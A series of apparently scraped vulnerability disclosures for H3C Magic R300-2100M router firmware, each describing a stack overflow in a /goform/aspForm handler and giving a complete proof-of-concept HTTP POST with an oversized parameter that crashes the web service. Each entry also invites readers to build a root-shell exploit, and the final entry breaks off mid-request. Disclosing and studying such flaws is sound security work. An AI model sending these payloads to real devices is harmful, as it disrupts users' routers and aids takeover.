H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the AddMacList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the AddMacList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the AddMacList interface at /goform/aspForm. ## Vulnerability Details !\[\](https://hackmd.io/\_uploads/By9kedoN3.png) In the AddMacList function, local variable v19 is 36 bytes long. !\[\](https://hackmd.io/\_uploads/rJzneOsN3.png) V12 can be controlled by attacker, entered as parameter 'param'. In line 47, v12 is formatted into v19 by function sscanf as long as the size of the data we enter until ';'. So when the size of the data we enter before ';' is larger than 36 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://hackmd.io/\_uploads/HykDb\_sNn.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 534 CMD=AddMacList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://hackmd.io/\_uploads/S1luWuj43.png) And you can write your own exp to get the root shell.

CVE-2023-33641: H3C Magic R300-2100M was discovered stack overflow via the AddMacList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the DelvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DelvsList interface at /goform/aspForm. ## Vulnerability Details In function DelvsList,the size of local variable v6 is noly 16 bytes long.Parameters in the DelvsList interface use the getElement function to split strings(Var) and get items. !\[\](https://i.imgur.com/LCb0yxd.png) !\[\](https://i.imgur.com/dtJI92p.png) In line 28, the maximum size in the getElement function is limited to 64. When the length of input less than 64, the string will be copied into a1 by memcpy function. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/MjBbyN0.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/fWslGFH.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/maintain\_basic.asp?basicTab=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 321 CMD=DelvsList&GO=dhcpd.asp&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33628: H3C Magic R300-2100M was discovered stack overflow via the DelvsList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the UpdateSnat interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the UpdateSnat interface at /goform/aspForm. ## Vulnerability Details !\[\](https://i.imgur.com/CeIo4N2.png) In the UpdateSnat function, local variable v11 is 64 bytes long. !\[\](https://i.imgur.com/GeMNMb3.png) V9 can be controlled by attacker, entered as parameter 'param'. In line 20, v9 is formatted into v11 by function sscanf as long as the size of the data we enter is less than 512 bytes. So when the size of the data we enter is larger than 64 bytes and less than 512 bytes, it will cause a stack overflow. ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/owB1os3.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG=; UPGRADE\_SOURCE= Connection: close Content-Length: 528 CMD=UpdateSnat&param=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/DnFFG8C.png) And you can write your own exp to get the root shell.

CVE-2023-33627: H3C Magic R300-2100M was discovered stack overflow via the UpdateSnat interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos_lanip_dellist interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the ipqos\_lanip\_dellist interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the ipqos\_lanip\_dellist interface at /goform/aspForm. ## Vulnerability Details In function ipqos\_lanip\_dellist,the size of local variable v5 is noly 16 bytes long.Parameters in the ipqos\_lanip\_dellist interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/QgGfFLG.png) !\[\](https://i.imgur.com/yZbW5M2.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/MRTp8UN.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2033 CMD=ipqos\_lanip\_dellist&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33632: H3C Magic R300-2100M was discovered stack overflow via the ipqos_lanip_dellist interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DelSTList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the DelSTList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DelSTList interface at /goform/aspForm. ## Vulnerability Details In function DelSTList(sub\_4677D0),the size of local variable v7 is noly 16 bytes long.Parameters in the DelSTList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/CXKJyhl.png) !\[\](https://i.imgur.com/bYrXAp7.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/HCTxPIp.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/maintain\_basic.asp?basicTab=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2025 CMD=DelSTList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;1;;; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33631: H3C Magic R300-2100M was discovered stack overflow via the DelSTList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the DeltriggerList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the DeltriggerList interface at /goform/aspForm. ## Vulnerability Details In function DeltriggerList(sub\_461B70),the size of local variable v7 is noly 16 bytes long.Parameters in the DeltriggerList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/GA1UMvP.png) !\[\](https://i.imgur.com/7GnOd1Y.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/0WNcwzS.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2028 CMD=DeltriggerList&param=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa; \`\`\` By sending delicately constructed data package as the poc above, we can cause a stack overflow error, leading to the crash of webs progress. !\[\](https://i.imgur.com/oOVNgxA.png) And you can write your own exp to get the root shell.

CVE-2023-33629: H3C Magic R300-2100M was discovered stack overflow via the DeltriggerList interface at /goform/aspForm - HackMD

H3C Magic R300 version R300-2100MV100R004 was discovered to contain a stack overflow via the EditvsList interface at /goform/aspForm.

\# H3C Magic R300-2100M was discovered stack overflow via the EditvsList interface at /goform/aspForm ###### tags: \`H3C\` \`Magic R300-2100M\` vendor:H3C product:Magic R300-2100M version:R300-2100MV100R004 type:Stack Overflow author:Yifeng Li，Wolin Zhuang; ## Vulnerability Description H3C Magic R300-2100M firmware version R300-2100MV100R004 was discovered to contain a stack overflow via the EditvsList interface at /goform/aspForm. ## Vulnerability Details In function EditvsList(sub\_461110),the size of local variable v8 is noly 20 bytes long.Parameters in the EditvsList interface use the getElement function to split strings(Var). !\[\](https://i.imgur.com/EDd6YXO.png) !\[\](https://i.imgur.com/XbagQem.png) The maximum size in the getElement function is limited to 64. The size of the original array has been completely exceeded, resulting in a buffer overflow vulnerability. !\[\](https://i.imgur.com/9e8xgUd.png) ## Recurring vulnerabilities and POC In order to reproduce the vulnerability, the following steps can be followed: 1. Upgrade router Magic\_R300-2100M to newest firmware(we have a physical machine) 2. Login to 192.168.124.1 as admin 3. Attack with the following POC !\[\](https://i.imgur.com/PpMbygV.png) !\[\](https://i.imgur.com/0cGTbgK.png) \`\`\` POST /goform/aspForm HTTP/1.1 Host: 192.168.124.1 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.63 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.124.1/mobile.asp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: USERLOGINIDFLAG=; LOGIN\_PSD\_REM\_FLAG= Connection: close Content-Length: 2032 